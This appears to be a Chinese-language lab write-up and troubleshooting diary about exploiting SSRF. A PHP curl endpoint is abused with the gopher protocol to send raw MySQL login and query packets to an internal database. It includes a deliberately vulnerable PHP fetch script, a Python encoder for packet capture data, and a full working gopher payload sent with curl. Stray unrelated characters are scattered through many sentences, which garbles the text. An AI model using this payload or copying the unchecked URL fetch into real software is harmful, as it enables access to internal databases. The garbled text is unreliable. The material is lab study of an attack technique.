本地測試
一開始使用的是 centos 6.5 的虛擬機
后來發(fā)現(xiàn)我的 curl 為 7.19.7 版本文兢,不支持 gopher 協(xié)議
但是都失敗了..
如果有 centos 6.5 升級 curl 版本成功的請告訴我塔逃!
環(huán)境搭建
失敗了就只能慢慢的搭環(huán)境了,一時腦抽想體驗一下 docker-compose盈厘,就去裝了 dnmp(docker+nginx+mysql+php) 很棒的一個項目
不過默認 php_curl 擴展沒有打開,需要手動開啟,否則會報錯 curl_init 函數(shù)未定義
我的環(huán)境大概就成了這樣:
- 主機 80 端口映射到了 nginx 容器孟岛,3306 端口映射到了 mysql 容器
- 容器內(nèi)則需要通過 ip 172.19.0.1 來訪問到主機
nginx 容器內(nèi)放一個 獲取外部資源的 curl
<?php
if(isset($_GET["url"])) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
// curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
?>
進行本地測試
成功通過 gopher 協(xié)議將數(shù)據(jù)傳送到了 2333 端口
遠程測試
抓包
使用 tcpdump 抓包
為方便抓包,mysql -h127.0.0.1 -uroot -p
指定使用 TCP/IP 套接字,否則會使用 unix 套接字
在 mysql 的認證階段渠羞,如果有密碼斤贰,那么服務端會返回一個 salt 來進行密碼認證
因為我們是直接發(fā)送數(shù)據(jù)流沒辦法與服務端交互,因此 只能是空密碼
數(shù)據(jù)處理
將原始數(shù)據(jù)轉(zhuǎn)換成類似 url 的格式
#!/usr/bin/env python2
# coding: utf-8
import urllib
s = """5000000185a60f0000000001210000000000000000000000000000000000000000000000746573740014d07fd833aedda1666a97d3474aa85f399659626f6d7973716c5f6e61746976655f70617373776f726400
210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031
0f0000000373686f7720646174616261736573
0100000001"""
s = "".join(s.split())
def encode(s):
a = [s[2*i:2*i+2] for i in xrange(len(s)/2)]
return "gopher://127.0.0.1:3306/_%" + "%".join(a)
s = encode(s)
print "[+ local]", s
s = urllib.quote(s)
print "[+ url]", s
本機測試
遠程測試
最終 payload 為
curl -vv ssrf/?url=gopher%3A//172.19.0.1%3A3306/_%25b0%2500%2500%2501%2585%25a6%253f%2520%2500%2500%2500%2501%252d%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2573%2503%255f%256f%2573%2510%2564%2565%2562%2569%2561%256e%252d%256c%2569%256e%2575%2578%252d%2567%256e%2575%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2506%2531%2532%2531%2530%2535%2537%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2507%2531%2530%252e%2531%252e%2532%2539%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2521%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2540%2540%2576%2565%2572%2573%2569%256f%256e%255f%2563%256f%256d%256d%2565%256e%2574%2520%256c%2569%256d%2569%2574%2520%2531%250f%2500%2500%2500%2503%2573%2568%256f%2577%2520%2564%2561%2574%2561%2562%2561%2573%2565%2573%2501%2500%2500%2500%2501 --output -
可以成功
許多許多坑
大概是昨晚沒睡好.. 一天腦子短路
昨天用 kali 和另一個虛擬機(centos)來搞次询,搞了半天發(fā)現(xiàn)是 curl 版本太低荧恍,不支持 gopher 協(xié)議
然后想把 curl 版本升上去,一晚都沒睡好屯吊,還tmd失敗了
第二天起來拿 docker-compose 搭了個 環(huán)境送巡,一開始測試沒有返回數(shù)據(jù),最坑的是 nginx 還tmd返回 200 OK盒卸,讓我一度懷疑人生授艰,檢查 docker-compose 組件關(guān)系,最后發(fā)現(xiàn)是 php curl_init 函數(shù)未定義
這次就是 php_curl 擴展沒有開世落,打開一下淮腾,又是一頓搜索
搭好了測試,本地測試炸了屉佳,遠程測試也炸谷朝,一度懷疑我的 payload 有問題,又是檢查 url格式 又是重新抓包
-
最后問題在于 nginx 服務器的 127.0.0.1 并沒有指向我的主機..
nginx 裝在 docker 中
主機 80 端口映射到了 nginx 容器武花,3306 端口映射到了 mysql 容器圆凰,因此可以直接 用 127.0.0.1 訪問
但是 用于測試的 2333 端口并沒有進行映射,因此 nc 主機 de
127.0.0.1:2333 對于 nginx 的 127.0.0.1:2333 來說 并沒有什么卵用
現(xiàn)在想想体箕,當時懶不想去配日志专钉,猜來猜去才弄出這么多事情,得